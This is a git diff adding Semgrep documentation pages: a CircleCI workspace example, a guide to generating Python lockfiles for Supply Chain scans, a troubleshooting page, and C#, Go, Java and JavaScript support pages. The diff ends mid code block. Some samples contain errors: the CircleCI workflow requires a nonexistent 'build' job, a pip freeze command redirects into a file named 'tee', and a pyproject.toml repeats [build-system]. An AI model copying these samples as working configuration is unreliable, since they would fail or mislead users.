+The following `config.yml` file demonstrates how you can generate a manifest file or lockfile and pass it to subsequent jobs using CircleCI workspaces. This example, which is most relevant to users scanning a Scala or Bazel project, uses a `maven_dep_tree.txt` file, which [typically needs to be generated](/semgrep-supply-chain/setup-maven) from a `pom.xml` for Maven dependency tracking.
+
+```yaml expandable
+version: 2.1
+
+jobs:
+ lock_file_generation:
+ docker:
+ - image: cimg/openjdk:17.0
+ steps:
+ - checkout
+ - run:
+ name: lock file generation
+ command: |
+ mkdir -p workspace
+ mvn dependency:tree -DoutputFile=workspace/maven_dep_tree.txt
+ cat workspace/maven_dep_tree.txt
+ - persist_to_workspace:
+ root: workspace
+ paths:
+ - maven_dep_tree.txt
+
+ scan:
+ docker:
+ - image: semgrep/semgrep
+ steps:
+ - checkout
+ - attach_workspace: # This step attaches the workspace from the previous job
+ at: /tmp/workspace
+ - run:
+ name: semgrep scan
+ command: |
+ cp /tmp/workspace/maven_dep_tree.txt .
+ semgrep ci
+
+workflows:
+ version: 2
+ build_and_scan:
+ jobs:
+ - lock_file_generation
+ - scan:
+ context:
+ - semgrep
+ requires:
+ - build
+```
+
+The `semgrep` [context](https://circleci.com/contexts/) is used here as the name for the context where you define the environment variables Semgrep needs, such as the `SEMGREP_APP_TOKEN`. This is similar to the [sample configuration for CircleCI](/semgrep-ci/sample-ci-configs/#sample-circleci-configuration-snippet). You can choose to give the context a different name if you prefer.
diff --git a/mintlify-docs/kb/semgrep-supply-chain/ssc-python-lockfiles.mdx b/mintlify-docs/kb/semgrep-supply-chain/ssc-python-lockfiles.mdx
new file mode 100644
index 0000000000..caa8918714
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/ssc-python-lockfiles.mdx
@@ -0,0 +1,306 @@
+---
+title: "Generating Python lockfiles for Semgrep Supply Chain scans"
+---
+
+To correctly scan all dependencies in a project, Semgrep Supply Chain requires a Python lockfile: a file with specific versions of all dependencies. This article describes methods to generate the following supported Python lockfiles:
+
+- `requirements.txt`
+- `Pipfile.lock`
+- `Poetry.lock`
+
+You can use any of these files to get a successful Semgrep Supply Chain scan. Since Semgrep 1.93.0, a `requirements.txt` file can be placed in a `**/requirements/` folder, or can have any name that matches `*requirement*.txt` or `*requirement*.pip`.
+
+## Generating `requirements.txt`
+
+### Using `requirements.in`
+
+
+**PREREQUISITES**
+
+- A `requirements.in` file with direct Python packages. Do not include transitive packages in `requirements.in`.
+- `pip-tools` must be installed on your machine. See the [pip-tools GitHub repository](https://github.com/jazzband/pip-tools) for installation instructions.
+
+
+
+To generate a `requirements.txt` file from `requirements.in`, enter the following command in the root of your project directory:
+
+```bash
+pip-compile -o requirements.txt
+```
+
+Now, you have successfully generated a `requirements.txt` file with direct and transitive dependencies that Semgrep Supply Chain can scan.
+
+#### Example of `requirements.txt` generated from `requirements.in`
+
+Given the following example project [Binder examples](https://github.com/sebastianrevuelta/binder-examples/), the `requirements.in` file contains the following direct dependencies:
+
+```text
+numpy
+matplotlib==3.*
+seaborn==0.10.1
+pandas
+```
+
+Executing the command `pip-compile -o requirements.txt`, generates the following `requirements.txt`:
+
+```text expandable
+#
+# This file is autogenerated by pip-compile with Python 3.10
+# by the following command:
+#
+# pip-compile --output-file=requirements.txt
+#
+contourpy==1.0.7
+ # via matplotlib
+cycler==0.11.0
+ # via matplotlib
+fonttools==4.39.4
+ # via matplotlib
+kiwisolver==1.4.4
+ # via matplotlib
+matplotlib==3.7.1
+ # via
+ # -r requirements.in
+ # seaborn
+numpy==1.24.3
+ # via
+ # -r requirements.in
+ # contourpy
+ # matplotlib
+ # pandas
+ # scipy
+ # seaborn
+packaging==23.1
+ # via matplotlib
+pandas==2.0.2
+ # via
+ # -r requirements.in
+ # seaborn
+pillow==9.5.0
+ # via matplotlib
+pyparsing==3.0.9
+ # via matplotlib
+python-dateutil==2.8.2
+ # via
+ # matplotlib
+ # pandas
+pytz==2023.3
+ # via pandas
+scipy==1.10.1
+ # via seaborn
+seaborn==0.10.1
+ # via -r requirements.in
+six==1.16.0
+ # via python-dateutil
+tzdata==2023.3
+ # via pandas
+```
+
+This file has all direct and transitive dependencies of the example project and can be used by Semgrep as an entry point for the Supply Chain scan.
+
+### Using `pip freeze`
+
+
+**PREREQUISITES**
+
+- The `pip freeze` utility uses dependencies from packages already installed in your current environment to generate `requirements.txt`. You must be in an isolated or [virtual environment](https://docs.python.org/3/library/venv.html).
+- An existing `setup.py` file.
+
+
+To generate `requirements.txt` through `pip freeze`, enter the following commands:
+
+```bash
+pip3 install .
+pip freeze --all > tee requirements.txt
+```
+
+### Example CI configuration
+
+The following GitHub Actions workflow provides an example on how to generate `requirements.txt` in a CI environment based on the preceding methods.
+
+In the following example there are two jobs:
+- `my_first_job`: Generating `requirements.txt` and uploading it as an artifact
+- `my_second_job`: Downloading the artifact and scanning it with Semgrep
+
+```yaml expandable
+on:
+ pull_request: {}
+ workflow_dispatch: {}
+ push:
+ branches:
+ - master
+ paths:
+ - .github/workflows/semgrep.yml
+ schedule:
+ - cron: '0 1 * * 0'
+name: Semgrep
+jobs:
+ my_first_job:
+ name: requirementsGeneration
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v6
+ - name: Generate requirements txt
+ run: |
+ pip3 install pip-tools
+ pip-compile -o requirements.txt
+ - name: Upload Requirements File as Artifact
+ uses: actions/upload-artifact@v4
+ with:
+ name: requirementstxt
+ path: requirements.txt
+ my_second_job:
+ needs: my_first_job
+ name: Scan
+ runs-on: ubuntu-latest
+ env:
+ SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
+ container:
+ image: semgrep/semgrep
+ steps:
+ - uses: actions/checkout@v6
+ - name: Download artifact from previous job
+ uses: actions/download-artifact@v4
+ with:
+ name: requirementstxt
+ - run: semgrep ci --supply-chain
+
+```
+
+## Generating `Pipfile.lock`
+
+
+**PREREQUISITE**
+
+An existing `Pipfile`. Depending on your development environment, a Pipfile may already be automatically generated for you.
+
+
+### Example of `Pipfile`
+
+```text expandable
+[[source]]
+url = "https://pypi.org/simple"
+verify_ssl = true
+name = "pypi"
+
+[packages]
+flasgger = "==0.9.5"
+flask = "==2.2.2"
+flask-cors = "==3.0.10"
+marshmallow = "==3.18.0"
+requests = "==2.25.1"
+sqlalchemy = "==1.4.41"
+waitress = "==2.1.2"
+psycopg2 = "==2.9.5"
+defusedxml = "==0.7.1"
+
+[dev-packages]
+
+[requires]
+python_version = "3.9"
+```
+
+### Generating a `Pipfile.lock`
+
+Generate a `Pipfile.lock` with the following commands:
+
+```bash
+pip install pipenv --user
+pipenv lock
+```
+
+The newly generated `Pipfile.lock` is a JSON file with all Python dependencies (direct and transitive) and their sha256 code.
+
+The beginning of the file may look something like this:
+
+```json expandable
+{
+ "_meta": {
+ "hash": {
+ "sha256": "af0d5c3f87bd23f340a214b12ad766ca83aead0c462aa08dbc4f012ac2796708"
+ },
+ "pipfile-spec": 6,
+ "requires": {
+ "python_version": "3.9"
+ },
+ "sources": [
+ {
+ "name": "pypi",
+ "url": "https://pypi.org/simple",
+ "verify_ssl": true
+ }
+ ]
+ },
+ "default": {
+ "attrs": {
+ "hashes": [
+ "sha256:1f28b4522cdc2fb4256ac1a020c78acf9cba2c6b461ccd2c126f3aa8e8335d04",
+ "sha256:6279836d581513a26f1bf235f9acd333bc9115683f14f7e8fae46c98fc50e015"
+ ],
+ "markers": "python_version >= '3.7'",
+ "version": "==23.1.0"
+ },
+```
+
+## Generating `Poetry.lock`
+
+[Poetry](https://python-poetry.org/) is a tool for dependency management and packaging in Python.
+
+
+**PREREQUISITE**
+
+A `pyproject.toml` file.
+
+
+### Example `pyproject.toml`
+
+```toml expandable
+[build-system]
+requires = ["poetry-core>=1.1.0"]
+build-backend = "poetry.core.masonry.api"
+
+[tool.poetry]
+name = "example-project"
+version = "1.0.0"
+description = "An example project"
+authors = ["Your Name "]
+
+[tool.poetry.dependencies]
+python = "^3.9"
+requests = "^2.25.1"
+numpy = "^1.21.0"
+
+[tool.poetry.dev-dependencies]
+pytest = "^6.2.4"
+flake8 = "^3.9.2"
+
+[build-system]
+requires = ["poetry-core>=1.0.0"]
+build-backend = "poetry.core.masonry.api"
+```
+
+### Generating a `Poetry.lock`
+
+Generate a `Poetry.lock` file with the following command:
+
+```bash
+poetry lock
+```
+
+The generated `Poetry.lock` file contains all transitive and direct dependencies that the project uses.
+
+## Selecting a single file among many
+
+While there may already be a lockfile in the repository, such as a `Pipfile.lock`, you may want to generate a new one, for example a `requirements.txt`, to be sure it has the latest dependencies.
+
+When scanning with Semgrep Supply Chain, you can use the flag `--include` to specify that only a single lockfile should be scanned. The manifest file must still have one of the supported names.
+
+```bash
+semgrep ci --supply-chain --include=requirements.txt
+```
+
+However, if you have multiple `requirements.txt` files that are in supported locations, you do not need to generate a new unified lockfile. Semgrep will scan files from all supported locations.
+
+## Conclusions
+
+There are several ways to generate lockfiles for Python dependencies. Depending on your preferences, you can select one or another. Keep in mind that the file should be generated before the Semgrep scan and within the proper environment. This ensures that you are scanning only the dependencies of your project and not all the Python dependencies of your system.
diff --git a/mintlify-docs/kb/semgrep-supply-chain/why-no-findings.mdx b/mintlify-docs/kb/semgrep-supply-chain/why-no-findings.mdx
new file mode 100644
index 0000000000..d620145db7
--- /dev/null
+++ b/mintlify-docs/kb/semgrep-supply-chain/why-no-findings.mdx
@@ -0,0 +1,100 @@
+---
+title: "Why aren't Supply Chain findings showing?"
+---
+
+## Ensure compatibility
+
+First, verify that your repository meets the basic requirements for Semgrep Supply Chain:
+
+
+
+
+Check the [Supported Languages table](/supported-languages#semgrep-supply-chain) to verify support for the project's language and ecosystem, as well as any ecosystem-specific requirements.
+
+
+
+Semgrep Supply Chain searches the parent directories of any code files for the nearest relevant manifest file or lockfile. Monolithic repositories (monorepos) have their findings grouped based on the manifest files or lockfiles present in subdirectories.
+
+Semgrep Supply Chain only recognizes the manifest file or lockfile names indicated in the [Supported Languages table](/supported-languages#semgrep-supply-chain).
+If you do not use the standard manifest file or lockfile name for your ecosystem, renaming it to the standard name before scanning with Semgrep in CI is recommended.
+
+[Reach out for help](#if-youre-still-having-trouble) if you run into trouble with the file location or naming.
+
+
+
+If your dependency file is a manifest file and does not specify exact (pinned) versions for all dependencies, Semgrep Supply Chain does not report vulnerabilities for the dependencies that are not pinned. This is because an unpinned dependency may already be installed at a safe version for a particular Advisory, and not require upgrade.
+
+Pinned dependencies can be analyzed even if the file contains other unpinned dependencies. Manifest files or lockfiles can also be helpful to determine whether a dependency is transitive.
+
+## Check scan status and result location
+
+Next, ensure that the scan was successful and sent results to the expected location.
+
+
+
+If the scan did not complete, or failed when trying to send results, the dependency information will not be available.
+
+Review the logs from the scan and determine whether it was successful, or ran into an issue.
+
+#### Manifest file or lockfile parsing failure
+
+The manifest file or lockfile may not have been parsed successfully. The CI output should point to the line where the error occurred. Here is an example from a failed attempt to parse a `Pipfile.lock` (Python):
+
+```
+Error Returned: Failed to parse app/Pipfile** at 40:1 - expected one of ['([^\\s=]+)\\s*=\\s*', 'EOF', '\\n+'] 40 | [requires]
+```
+
+If the manifest file or lockfile contains any special or additional details, such as environmental markers, variables, or hashes specific to your organization, those may affect parse results. [Reach out for help](#if-youre-still-having-trouble) if you run into this!
+
+#### Data sent to a different organization
+
+If the scan did run successfully, the scan data may have been sent to a different Semgrep organization than expected.
+
+- Check other organizations you belong to in Semgrep AppSec Platform to see if the results appear there.
+- If you are running `semgrep ci` locally, use `semgrep logout` and `semgrep login`, and ensure you log in to the desired Semgrep AppSec Platform organization.
+
+
+
+Semgrep Supply Chain only runs in [diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans) if the manifest file or lockfile was modified in the PR/MR.
+
+If code is modified, but the manifest file or lockfile is not, Supply Chain does not analyze the changes. Any code changes that might impact reachability will be identified on the next full scan.
+
+
+
+
+If the Semgrep Supply Chain scan ran on a branch other than the default, or a default branch with a less common name, make sure to select the desired branch on the Vulnerabilities page to see findings.
+
+
+
+
+
+Using the example in the screenshot, to see vulnerabilities from `new-vuln-branch`, select it from the list.
+
+By default, the Vulnerabilities page displays vulnerabilities from:
+
+- The repository's default branch, if that information is available. This information is typically available for CI scans performed through GitHub Actions.
+- One of a set of standard default branch names, such as:
+ - `develop` (or `development`)
+ - `main`
+ - `master`
+ - `trunk`
+
+
+
+By default, Semgrep AppSec Platform shows only reachable
+
+To see all vulnerabilities, select all boxes under the "Exposure" filter.
+
+
+
+
+
+
+
+## Additional references
+
+If the project uses Java and Apache Maven with `pom.xml`, see [Setting up SSC scans for specific project management tools: Apache Maven (Java)](/semgrep-supply-chain/setup-maven).
+
+## If you're still having trouble
+
+If you've addressed these issues but are still not seeing vulnerability findings, or if you need assistance setting up Semgrep Supply Chain for your projects, such as handling manifest file or lockfile naming or addressing parsing issues, [reach out for help](/support).
diff --git a/mintlify-docs/languages/csharp.mdx b/mintlify-docs/languages/csharp.mdx
new file mode 100644
index 0000000000..55fca9440b
--- /dev/null
+++ b/mintlify-docs/languages/csharp.mdx
@@ -0,0 +1,95 @@
+---
+title: "C# support"
+sidebarTitle: "C#"
+---
+
+
+**TIP**
+
+Semgrep's C# coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interfile analysis (cross-file)
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#c-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-89: SQL injection. Don't use formatted strings in SQL statements; prefer prepared statements](https://semgrep.dev/playground/r/csharp.lang.security.sqli.csharp-sqli.csharp-sqli?editorMode=advanced)
+- [CWE-90: LDAP injection. Avoid LDAP queries constructed dynamically on user-controlled input](https://semgrep.dev/playground/r/csharp.dotnet.security.audit.ldap-injection.ldap-injection?editorMode=advanced)
+- [CWE-347: Improper verification of cryptographic signature. Use signed security tokens](https://semgrep.dev/playground/r/csharp.lang.security.cryptography.unsigned-security-token.unsigned-security-token?editorMode=advanced)
+
+## C# support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following C# package manager:
+
+- NuGet
+
+### Analyses and features
+
+The following analyses and features are available for C#:
+
+**Reachability analysis**
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+**License detection**
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
+
+**Malicious dependency detection**
+
+Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
+
+**SBOM generation**
+
+Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
+
+
+**NO NEED FOR LOCKFILES**
+
+C# projects can be scanned **without** the need for lockfiles. See [Scan a project without lockfiles (beta)](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+## C# support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following C# rule sets:
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/csharp`](https://semgrep.dev/p/csharp)
+- [`p/gitlab`](https://semgrep.dev/p/gitlab)
+
+
+Sample usage:
+
+```bash
+semgrep scan --config p/csharp
+```
diff --git a/mintlify-docs/languages/go.mdx b/mintlify-docs/languages/go.mdx
new file mode 100644
index 0000000000..b04573b11c
--- /dev/null
+++ b/mintlify-docs/languages/go.mdx
@@ -0,0 +1,88 @@
+---
+title: "Go support"
+sidebarTitle: "Go"
+---
+
+
+**TIP**
+
+Semgrep's Go coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* Interfile analysis (cross-file)
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#go-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-89: SQL injection. Don't use user input to manually construct an SQL string](https://semgrep.dev/playground/r/go.aws-lambda.security.tainted-sql-string.tainted-sql-string?editorMode=advanced)
+- [CWE-943: Improper neutralization of special elements in data query. Avoid NoSQL Injection in Mongo with Gin](https://semgrep.dev/playground/r/go.gin.nosql.gin-mongo-nosql-taint.gin-mongo-nosqli-taint?editorMode=advanced)
+
+## Go support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following Go package manager:
+
+- Go modules (`go.mod`)
+
+### Analyses and features
+
+The following analyses and features are available for Go:
+
+**Reachability analysis**
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+**License detection**
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
+
+**Malicious dependency detection**
+
+Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
+
+**SBOM generation**
+
+Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
+
+## Go support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following Go rule sets:
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/golang`](https://semgrep.dev/p/golang)
+- [`p/gosec`](https://semgrep.dev/p/gosec)
+
+
+Sample usage:
+
+```bash
+semgrep scan --config p/golang
+```
diff --git a/mintlify-docs/languages/java.mdx b/mintlify-docs/languages/java.mdx
new file mode 100644
index 0000000000..01478ca571
--- /dev/null
+++ b/mintlify-docs/languages/java.mdx
@@ -0,0 +1,86 @@
+---
+title: "Java support"
+sidebarTitle: "Java"
+---
+
+
+**TIP**
+
+Semgrep's Java coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## Semgrep Code analyses
+
+* [Language-specific analysis](/semgrep-code/java)
+* Interfile analysis (cross-file)
+* Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#java-support-in-semgrep-ce)
+
+## Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+Some examples of rules include:
+
+- [CWE-327: Use of a broken or risky cryptographic algorithm. Don't use the `none` algorithm](https://semgrep.dev/playground/r/java.java-jwt.security.jwt-none-alg.java-jwt-none-alg?editorMode=advanced)
+- [CWE-78: OS command injection. Sanitize your variables before using them as input to a `java.lang.Runtime` call](https://semgrep.dev/playground/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call?editorMode=advanced)
+
+## Java support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following Java package managers:
+
+- Gradle
+- Maven
+
+### Analyses and features
+
+The following analyses and features are available for Java:
+
+| | |
+| :--- | :--- |
+| Reachability analysis | Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable. |
+| License detection | Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. |
+| SBOM generation | Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform. |
+
+
+**NO NEED FOR LOCKFILES**
+
+Java projects can be scanned **without** the need for lockfiles. See [Scan a project without lockfiles (beta)](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+
+## Java support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+
+The Semgrep Registry provides the following Java rulesets:
+
+- [`p/default`](https://semgrep.dev/p/default)
+- [`p/java`](https://semgrep.dev/p/java)
+- [`p/findsecbugs`](https://semgrep.dev/p/findsecbugs)
+
+
+Sample usage:
+
+```bash
+semgrep scan --config p/java
+```
diff --git a/mintlify-docs/languages/javascript.mdx b/mintlify-docs/languages/javascript.mdx
new file mode 100644
index 0000000000..8c4f095176
--- /dev/null
+++ b/mintlify-docs/languages/javascript.mdx
@@ -0,0 +1,199 @@
+---
+title: "JavaScript support"
+sidebarTitle: "JavaScript"
+---
+
+
+**TIP**
+
+Semgrep's JavaScript coverage leverages framework-specific analysis capabilities that are not present in Semgrep Community Edition (CE). As a result, many framework specific Pro rules will **fail** to return findings if run on Semgrep CE. To ensure full security coverage, run: `semgrep login && semgrep ci`.
+
+
+## JavaScript support in Semgrep Code
+
+Semgrep Code is a static application security testing (SAST) tool that detects security vulnerabilities in your first-party code.
+
+### Analyses and frameworks
+
+- Framework-specific control flow analysis
+- Interfile analysis (cross-file)
+- Interprocedural analysis (cross-function)
+* All analyses performed by [Semgrep Community Edition (CE)](#javascript-support-in-semgrep-ce)
+
+### Coverage
+
+Semgrep aims to provide comprehensive and accurate detection of common OWASP Top 10 issues in source code. Semgrep uses **rules**, which are instructions based on which it detects patterns in code. These rules are usually organized in rulesets.
+
+By default, Semgrep Code provides you with the [ `p/comment`](https://semgrep.dev/p/comment) and [ `p/default`](https://semgrep.dev/p/default) rulesets. These rulesets provide the most accurate and comprehensive coverage across Semgrep's supported languages.
+
+In addition to rules, the Semgrep engine itself can analyze code and implicit dataflows in the context of the following supported frameworks:
+
+| Supported frameworks | Type of framework |
+| :--- | :--- |
+| Express | Web framework |
+| Koa | Web framework |
+| Hapi | Web framework |
+| NestJS | Web framework |
+| NextJS | Web framework |
+
+
+
+| Supported libraries | Type of library |
+| :--- | :--- |
+| `axios` | Network library |
+| `nodemail` | Network library |
+| `node-fetch` | Network library |
+| `needle` | Network library |
+| `http` | Network library |
+| `https` | Network library |
+| `net` | Network library |
+| `http2` | Network library |
+| `got` | Network library |
+| `request` | Network library |
+| `marked` | Markdown library |
+| `dot` | Template engine |
+| `child-process` | OS interaction library |
+| `nestjs` | Web framework |
+| `express` | Web framework |
+| `koa` | Web framework |
+| `hapi` | Web framework |
+| `sqlite` | Database library |
+| `sqlite3` | Database library |
+| `typeorm` | Database library |
+| `mongoose` | Database library |
+| `mongodb` | Database library |
+| `knex` | Database library |
+| `mikro-orm` | Database library |
+| `@mikro-orm/core` | Database library |
+| `@mikro-orm/better-sqlite` | Database library |
+| `@mikro-orm/entity-generator` | Database library |
+| `@mikro-orm/knex` | Database library |
+| `@mikro-orm/libsql` | Database library |
+| `@mikro-orm/mariadb` | Database library |
+| `@mikro-orm/migrations-mongodb` | Database library |
+| `@mikro-orm/migrations` | Database library |
+| `@mikro-orm/mongodb` | Database library |
+| `@mikro-orm/mssql` | Database library |
+| `@mikro-orm/mysql` | Database library |
+| `@mikro-orm/postgresql` | Database library |
+| `@mikro-orm/reflection` | Database library |
+| `@mikro-orm/seeder` | Database library |
+| `@mikro-orm/sqlite` | Database library |
+| `pg` | Database library |
+| `pg-native` | Database library |
+| `pg-pool` | Database library |
+| `mysql` | Database library |
+| `mysql2` | Database library |
+| `sequelize` | Database library |
+| `libxml` | XML parsing library |
+| `xpath` | XML parsing library |
+| `puppeteer` | Library with code execution capabilities |
+| `vm2` | Library with code execution capabilities |
+| `vm` | Library with code execution capabilities |
+| `rimraf` | File System Library |
+| `papaparse` | File system library |
+| `fs-extra` | File system library |
+| `fs` | File system library |
+| `sharp` | File system library |
+| `path` | File system library |
+| `webcrypto` | Cryptographic library |
+| `crypto` | Cryptographic library |
+| `http-body` | Express middleware |
+| `cors` | Express middleware |
+| `express-session` | Express middleware |
+| `helmet` | Express middleware |
+| `@koa/cors` | Koa middleware |
+| `lodash` | Utility library |
+| `validator` | String validation library |
+| `escape-string-regexp` | String sanitization library |
+| `date-fns` | Date manipulation library |
+| `moment` | Date manipulation library |
+| `luxon` | Date manipulation library |
+| `dayjsfns` | Date manipulation library |
+| `mongo-sanitize` | String sanitization library |
+| `express-mongo-sanitize` | String sanitization library |
+
+
+
+#### Benchmark results exclusive of [AI](/semgrep-multimodal/overview) processing
+
+Semgrep's benchmarking process involves scanning open source repositories, triaging the findings, and making iterative rule updates. This process was developed and is used internally by the Semgrep security research team to monitor and improve rule performance.
+
+Results as of **February 25, 2025**:
+
+| Benchmark | Value |
+| :--- | :--- |
+| True positive rate (before AI processing) for latest `p/default` ruleset | 63% |
+| Lines of code scanned | ~8 million |
+| Repositories scanned | 153 |
+| Findings triaged to date | ~600 |
+
+## JavaScript support in Semgrep Supply Chain
+
+Semgrep Supply Chain is a software composition analysis (SCA) tool that detects security vulnerabilities in your codebase introduced by open source dependencies.
+
+### Supported package managers
+
+Semgrep supports the following JavaScript package managers:
+
+- npm
+- Yarn
+- pnpm
+
+### Analyses and features
+
+The following analyses and features are available for JavaScript:
+
+**Reachability analysis**
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+**License detection**
+
+Semgrep Supply Chain's **license compliance** feature enables you to explicitly allow or disallow (block) a package's use in your repository based on its license. For example, your company policy may disallow the use of packages with the Creative Commons Attribution-NonCommercial (CC-BY-NC) license. Semgrep can help enforce this restriction.
+
+**Malicious dependency detection**
+
+Semgrep is able to detect malicious dependencies in your projects and in pull requests (PRs) or merge requests (MRs).
+
+**SBOM generation**
+
+Semgrep enables you to generate a software bill of materials (SBOM) to assess your third-party dependencies and comply with auditing procedures. Semgrep Supply Chain (SSC) can generate an SBOM for each repository you have added to Semgrep AppSec Platform.
+
+## JavaScript support in Semgrep CE
+
+Semgrep CE is a fast, lightweight program analysis tool that can help you detect bugs in your code. It makes use of Semgrep's LGPL 2.1 open source engine.
+
+### Analyses
+
+- Single-file, cross-function constant propagation
+- Single-function taint analysis
+- Semantic analysis
+
+### Coverage
+
+
+**TIP**
+
+- Check the `license` of a rule to ensure it meets your licensing requirements. See [Licensing](/licensing) for more details.
+
+{/* use a component here */}
+
+The Semgrep Registry provides the following JavaScript rulesets:
+
+- [`p/javascript`](https://semgrep.dev/p/javascript)
+- [`p/eslint`](https://semgrep.dev/p/eslint)
+- [`p/expressjs`](https://semgrep.dev/p/expressjs)
+- [`p/hapi`](https://semgrep.dev/p/hapi)
+- [`p/headless-browser`](https://semgrep.dev/p/headless-browser)
+- [`p/koa`](https://semgrep.dev/p/koa)
+- [`p/nextjs`](https://semgrep.dev/p/nextjs)
+- [`p/nestjs`](https://semgrep.dev/p/nestjs)
+- [`p/nodejs`](https://semgrep.dev/p/nodejs)
+- [`p/typescript`](https://semgrep.dev/p/typescript)
+
+Sample usage:
+
+```bash
